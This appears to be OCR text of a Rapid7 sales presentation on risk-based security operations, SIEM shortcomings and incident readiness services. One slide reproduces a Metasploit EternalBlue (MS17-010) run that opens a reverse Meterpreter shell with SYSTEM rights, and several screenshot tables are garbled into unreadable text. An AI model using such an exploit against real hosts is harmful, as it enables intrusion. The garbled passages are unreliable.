RAPID

20% of all assets have critical risk vulnerabilities

A Risk Management Platform Are You Ready For Compromised?

of all assets have SSL Certificates that are set to expire

in the next 30 days

Michael Lai CISSP, CISA, MBA, MSc, BEng(hons)

015 May 2015 Jun 2015 July 2015 Aug 2015 Sept 2015

Territory Manager & Senior Security Sales Engineer

RAPIDIA, and confidence to embrace innovation and drive your business forward. Rapid7 transforms your data and uncertainty into answers. Rapid7's mission is to lead the emerging SecOps movement with our multi-product analytics and automation cloud and expertise. Bost Practice Framework

Shift to Risk-Based Security



NEW MODEL: Risk-Based Security ву 2020, **60%**

of enterprise information security budgets will be allocated for rapid detection and response approaches.

- Gartner: "Shift Cybersecurity Investment to Detection," dated 7 January 2016

RAPID

Solve Critical Security & IT Questions

Am I Vulnerable?	Am I Compromised?	Am I Optimized?				
Threat Exposure Management	Incident Detection & Response	Log Management & IT Analytics				
VULNERABILITY MANAGEMENT	USER BEHAVIOR ANALYTICS	Orchestration & Automation				
APPLICATION SECURITY TESTING	INCIDENT DETECTION & RESPONSE	INFRASTRUCTURE MONITORING & TROUBLESHOOTING				
ATTACK SIMULATION	ENDPOINT VISIBILITY & INTERROGATION	LOG MANAGEMENT & COMPLIANCE				

-

Every Day Problem

A company in HK have 17 people in security team and 8000 assets. Although SIEM has been deployed, they have difficulty to collect and consolidate data from 40-50 points solution data together.

A HK subsidiary wants to make himself ready. before the audit by the the HQ in French. They have difficulty to collect the system information such as patch applied, software installed, etc ...

A bank in East Asia has SEIM deployed and employed big4 for annual PT but still breached. R7 PT team was on-site and collected lot of critical data but none alert from SIEM. Large part of SOC team was fired.



Security Automation & Orchestration Opportunity



RAPID7



Consideration

- 1. What to collect? E.g. Asset data, system log, threat intelligence
- 2. How to collect? E.g. Scanner, syslog, agent, external party
- 3. Who to collect? E.g. IT security team, asset owner
- 4. When to collect? Schedule, manual, event trigger, blackout

What Question Is Answered



COLLECT

Deploy an infrastructure to collect from end point to cloud
 Feed with external threat intelligence (exploit database)
 Asset ownership grouping
 Integration with other system (e.g. for authentication)
 Testing data (in-house penetration test, 3rd social engineering test)
 Activity baseline



A customer in HK spent 2 weeks to located hosts out of a few hundred which has WannaCry by checking the applied MS Patch



Solution Architecture



ANALYSIS

	autori									(line)	-	
	-	and	MANNE HOLE	14	-	144	-	- 41	144	man	1010	
14	top at 1	to go bi c	A terrar on the		-		+		-	1000	_	61
ii.	1000	10.00(A)	E trime (H)		-	÷.		10	-	1.000	tion of the	
			·	=				1	100000	1.000	_	
÷.	10000	000000000	E viewer (school)	=		÷.		1.1	400000	1	Terror	
			R terrestrend at local diff. (1)		-	÷.			-	1.000		
٠	-		B	=	-	- A	÷.	1	-			
4	summer in		E Manufacture in a Difference Mar P.		-	1	÷.	1.5	400000	1.000		6
×.		(a) and (a) (a) and (a) and (a)	 Installation in a pressure inter- 	=		÷	÷		42000	1.000	_	
*	1000		R Manufallinian (Sec. 2011) States (Str. 197	=				10	411111	-	-	
4			R Lanca Contraction for a second second second					1.1	Colorado a	1.000	-	1
11.	station pr	readed do no presson to a	B encodering and the second se	=	-			1	-	1.000	_	
4	1004	the effect in the second next time.	R Anna Canada and a 1997 (1997) (1997)		-		÷.	1.1	-	1.0001-000-	-	
11	-	Interpret.	a manufacture and the account of the	=	1000	- E			10000	1000	-	
н	1078.0		B Manual States / States (20	=			1		-	1000	-	1
ψ.	10000	and the second s	R manhatran i trapportane or		-	÷.	1		-	1.000-000		£1
н,		-matteri -	Printed Address (Printed Street	=	-			10	40000	1.000		
11	1000	manual i	R Manufacture (Disaber Sent		-		+	1.	-	1000		1
	-		W International Contractory of Contr	=	-				400000	A Real Property lies	_	61

Consideration

- 1. What is log, event (e.g. a virus detected) and alert (take action)?
- 2. Who to analyze? In-house team, outsourced,
- 3. How to analyze? Self learning (e.g. Dr. Watson), manual built IF-THEN rule.

Ready for Any Question



Convert Data To Action





ANALYSIS

- 1. Build a team or an army (security data science expert)
- 2. Automation
- 3. Ability to correlate data and information recursively
- 4. Continuous improvement (self learning, reduce false +ve/-ve)



Hidden Figures (2016)

A few years ago, a world wide Japanese company was breached and the manager asked the "security team" to analyze the system log files with editor manually.



ANSWER

A REAL PROPERTY.	W. Downey's Summer of the	and the part of the local division	Bird State Spatial Bull 1 - 1	
in he term	- Jan 194			
	Cit men bertrausren 110			
Mar http:/www.er		are called a flag	Personal Procession and and a linear	
Michigleman, et	stream and well as so the same time is	degilized;es.php	free Parameter bases it liter Farmerer	1 AND 2 1
Mile Migel and an an Grant Type C-10 ¹ Type	Property of Contract of Contract Dispaced Parlow Allow	Aller Bake Aller Bake Scientific Strate Scientific	Core Booserie Same I Black Revenue	
				National Section
181	-	and the second		
en en en en en en en en en en	 Western Statistical Data of Western Statistical Data of Wes	en dage nor ¹⁷ anto 1974 en falle falle dage - Te falle dage optimizer o goz-fallerer - rogo falle	bilanderlingen, and berefft films anderdals an bestaanderdijningen, villet- pellijst-ville-Ville	
 Str. <li< td=""><td>10° serie (anting class) - Se adjusting to the series of production of the series of resolution of the series of the series of the series of the series of the series of the series of the series of the series of the series of the series of the series of the series of the series of the series of the series of the series of the series of the series of the series o</td><td>end data of a final state of the state of th</td><td>heluserbeiguns, and De HTTP Bars, contentias ser beetsamtinetgans, «Kor- p-Kort-«(b)10-</td><td></td></li<>	10° serie (anting class) - Se adjusting to the series of production of the series of resolution of the series of the series of the series of the series of the series of the series of the series of the series of the series of the series of the series of the series of the series of the series of the series of the series of the series of the series of the series o	end data of a final state of the state of th	heluserbeiguns, and De HTTP Bars, contentias ser beetsamtinetgans, «Kor- p-Kort-«(b)10-	
19 19 19 19 19 19 19 19 19 19 19 19 19 1	10° serie 'antifere class of "a objective", in the Control Control of the Control Control of the Control of Control of Control of Control of Control (Control of Control of Control of Control (Control of Control of Control of Control (Control of Control of Control of Control of Control (Control of Control of Control of Control of Control of Control (Control of Control of Control of Control of Control (Control of Control of Control (Control of Control of Con	en ar delay na y ¹ per delay i and a delay delay i per delay i and a delay delay delay - Per trans and a delay delay delay 1 (201- ¹) (1997) - Alay a del 1 (201- ¹)	belandingen, andre 477 ken onderlan en besandlingen, «Dat- prösst-Altr-Str	

Consideration

- 1. When the answer is ready? (Ad hoc, schedule)
- 2. Who will raise the question? (Asset owner, CSO)
- 3. What the question will be?
- 4. How to remediate?

Give the Right Answer



ANSWER

- 1. Agility to any question from all parties
- 2. Prioritized event and action
- 3. Feed to system for tuning (minimize the false +ve/-ve)
- 4. Minimize effort to get the answer and take remediation
- 5. Integration with other system (e.g. for automation, sharing with other)

msf	exploit(ms17_010_eternalblue) > run
[*]	Started reverse TCP handler on 192.168.1.24:9001
i+i	192.168.1.207:445 - Connecting to target for exploitation.
[+1	192.168.1.207:445 - Connection established for exploitation.
1*1	192.168.1.207:445 - Trying exploit with 12 Groom Allocations.
i*i	192 168 1 207:445 - Sending all but last fragment of exploit packet
i+i	192.168.1.207:445 - Starting non-paged pool grooming
[+]	192.168.1.207:445 - Sending SMBv2 buffers
i+i	192.168.1.207:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
i*i	192.168.1.207:445 - Sending final SMBv2 buffers.
i+i	192.168.1.207:445 - Sending last fragment of exploit packet!
[*]	192.168.1.207:445 - Receiving response from exploit packet
[+]	192.168.1.207:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*]	192.168.1.207:445 - Sending egg to corrupted connection.
[*]	192.168.1.207:445 - Triagering free of corrupted buffer.
[*]	Sending stage (1189423 bytes) to 192.168.1.207
[*]	Meterpreter session 3 opened (192.168.1.24:9001 -> 192.168.1.207:49160) at 2017-05-14 03:27:22 -060
[+]	192.168.1.207:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
[+]	192.168.1.207:445 - =-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+]	192.168.1.207:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
met	erpreter > getuid
Ser	ver username: NT AUTHORITY\SYSTEM
met	erpreter >

[0] 0:ruby* 1:bash 2:sudo 3:bash 4:bash-

A University in HK centralized the risk management from all faculty. The CSO can get the risk intelligence of any faculty, group or asset handily.

RAP

NEXT STEP



How It Goes

- 1. Can everyone get the required information?
- 2. What is the workload to have the information?
- 3. How accurate is the information?
- 4. How can you response to a risk or breach?
- 5. Can you predict where the hacker will get in?



Many SIEM/SOC deployed but do not know how good it is. RAPIDT

INCIDENT READINESS ASSESSMENT

Threat detection and incident response evaluation. Increases response efficiency and effectiveness. For example, playbook for following a critical vulnerability announcement (e.g. WannaCry) or APT.

Detection Ability (Identify risk or breach)

Documentation (playbook, reporting)

Follow Up Procedures (remediation, scoping)



TABLETOP Exercises

Threat simulation exercise, aimed at evaluating the ability to effectively detect and respond to incidents. To ensure that the READINESS is working.

Initiate	Prepare	Deliver	Recommend
 Project Scoping Discovery Threat Scenario Existing Capabilities 	Full Threat ScenarioThreat GuideEvaluator GuideCoordination	 Execute Exercise Analyze Findings, Feedback, and Evaluator Forms 	 Report Delivery List Recommended Improvements in IDR Program



BREACH RESPONSE

Usually employ 3rd party to raise a PT and audit the risk platform. Will not notify anyone about the maneuver unless required.

Incident Management Detection and Analysis

Scoping

Communications

Remediation and Cleanup



THANK YOU

